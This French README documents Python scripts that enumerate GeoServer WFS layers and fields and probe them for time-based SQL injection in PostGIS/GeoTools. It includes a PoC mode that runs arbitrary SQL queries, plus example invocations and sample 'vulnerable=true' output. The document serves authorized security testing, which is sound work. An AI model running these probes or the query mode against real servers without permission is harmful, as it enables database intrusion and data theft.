
Scripts Python pour inventorier les points de terminaison WFS de GeoServer et vérifier les vulnérabilités d'injection SQL basée sur le temps dans PostGIS/GeoTools, avec un mode PoC dédié pour les tests autorisés.
Ce dépôt contient deux scripts Python pour l'examen des points de terminaison WFS de GeoServer.
wfs_inventory.pyObjectif : Inventorier les couches, les champs XSD et les valeurs WFS, et vérifier facultativement les candidats via un contrôle basé sur le temps.
Exemples d'exécution :
python3 wfs_inventory.py --url https://HOST --valid-fields 4
python3 wfs_inventory.py --url https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5 --candidate-scope auto --timing-result-type auto
python3 wfs_inventory.py --url https://HOST --layer namespace:layer --sleep 1 --confirm-sleep 5 --valid-diagnose output.txt
geoserver_sqli_working.pyObjectif : Point d'entrée combiné pour l'inventaire ainsi qu'un mode PoC séparé.
Exemples d'exécution :
python3 geoserver_sqli_working.py --target https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5 --query "SELECT current_database()"
Remarque importante : Le contrôle basé sur le temps et le mode PoC ne doivent être utilisés que contre des systèmes pour lesquels une autorisation de test explicite a été accordée. Le mode d'inventaire normal n'utilise que des opérations WFS régulières.
Rendre facultativement exécutable :
chmod +x wfs_inventory.py geoserver_sqli_working.py
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4
Le chemin standard /geoserver/wfs est ajouté automatiquement. Les indications suivantes sont donc équivalentes :
https://HOST
https://HOST/geoserver
https://HOST/geoserver/wfs
En cas d'installation différente, le chemin WFS complet doit être spécifié.
Uniquement pour les systèmes explicitement autorisés :
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--sleep 1
Pendant le contrôle, une mesure par candidat apparaît sur stderr :
[sleep-check] phase=screen typeName=namespace:layer field_name=FIELD resultType=hits baseline=0.120s test=1.128s delta=1.008s passed=true
[sleep-check] phase=confirm typeName=namespace:layer field_name=FIELD resultType=hits requested=3s baseline=0.118s test=3.125s delta=3.007s vulnerable=true
Un écran réussi n'est pas encore un résultat positif. Ce n'est que si la deuxième mesure, plus longue, réussit également qu'un bloc de paramètres est émis.
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 4 \
--sleep 1 \
--valid-diagnose output.txt
--valid-diagnose FILE active automatiquement le diagnostic détaillé et l'écrit dans le fichier spécifié.
Le mode standard auto traite les informations WFS dans cet ordre :
GetCapabilities est ouvert une fois :
/geoserver/wfs?service=WFS&acceptVersions=2.0.0&request=GetCapabilities
La réponse XML est diffusée en continu. Dès qu'un FeatureType/Name est trouvé, le prochain typeName est déterminé.
Pour cette couche, DescribeFeatureType est immédiatement exécuté avec version=2.0.0.
Le script extrait les éléments XSD et sélectionne les champs chaîne/JSON avec un nom ressemblant à un ID ou à un numéro.
Le candidat est vérifié en fonction de l'appel :
--sleep : les valeurs d'échantillon doivent être du JSON syntaxiquement valide.--sleep N : une requête de contrôle et une requête de vérification basée sur le temps sont mesurées. La vérification de la valeur JSON est alors ignorée.Le résultat est immédiatement émis et vidé.
Ce n'est qu'ensuite que le typeName suivant est lu depuis la réponse GetCapabilities en cours.
Ainsi, une grande réponse GetCapabilities n'a pas besoin d'être entièrement traitée avant que le premier résultat n'apparaisse.
Sans --sleep, le mode automatique prend en compte par défaut les champs chaîne/JSON avec un nom ressemblant à un ID ou à un numéro.
Avec --sleep, --candidate-scope auto utilise en revanche tous les champs simples non géométriques. Le type XSD et le modèle de nom d'ID ne bloquent alors plus le contrôle de synchronisation. Cela évite les faux négatifs pour les types XSD numériques, date/booléen ou spécifiques au fabricant.
Les modèles de noms reconnus incluent :
id
*_id
*_fid
nr_*
*_nr
*nummer*
fid
uuid
guid
key
objectid
Lors du contrôle basé sur le temps, le nom de champ doit en outre être un identifiant simple au format [A-Za-z_][A-Za-z0-9_]*.
Sans --sleep, on vérifie si les valeurs observées peuvent être interprétées syntaxiquement comme du JSON. C'est pourquoi, par exemple, la chaîne "383205" est également considérée comme un candidat, car son contenu représente un nombre JSON valide. Cette vérification est une heuristique et non une preuve de vulnérabilité.
Avec --sleep 1, seule la mesure du temps décide. Un candidat est considéré comme positif par défaut si la requête de vérification nécessite au moins 70 pour cent du temps de sommeil demandé en plus par rapport à la requête de contrôle. --timing-result-type auto vérifie d'abord resultType=hits et, en cas de résultat négatif, ensuite resultType=results.
Les mesures provisoirement positives sont obligatoirement confirmées avec un temps de sommeil plus long. Sans --confirm-sleep explicite, le script utilise max(3, --sleep * 3), limité à 10 secondes. Ainsi, un pic de latence unique avec --sleep 1 ne conduit plus à vulnerable=true.
La sortie standard contient un bloc par couche valide :
typeName=namespace:layer
field_name1=FIELD_A
parameter_string1=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_A
field_name2=FIELD_B
parameter_string2=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_B
parameter_stringN contient le point de terminaison WFS normalisé et les valeurs appropriées pour --typename et --field_name.
--valid-fields N compte les blocs de couches, pas les champs individuels. S'il existe moins de N couches valides, le reste du catalogue est examiné plus avant. Avec --max-layers, la durée d'exécution maximale peut être limitée.
Les options --diagnose ou --valid-diagnose FILE ajoutent entre autres :
GetCapabilities utilisée,DescribeFeatureType,GetFeature générée etExemple :
python3 wfs_inventory.py \
--url https://HOST \
--valid-fields 10 \
--valid-diagnose diagnose.txt
python3 wfs_inventory.py \
--url https://HOST \
--mode layers
Limiter à un espace de noms :
python3 wfs_inventory.py \
--url https://HOST \
--mode layers \
--namespace fink
python3 wfs_inventory.py \
--url https://HOST \
--mode fields \
--layer namespace:layer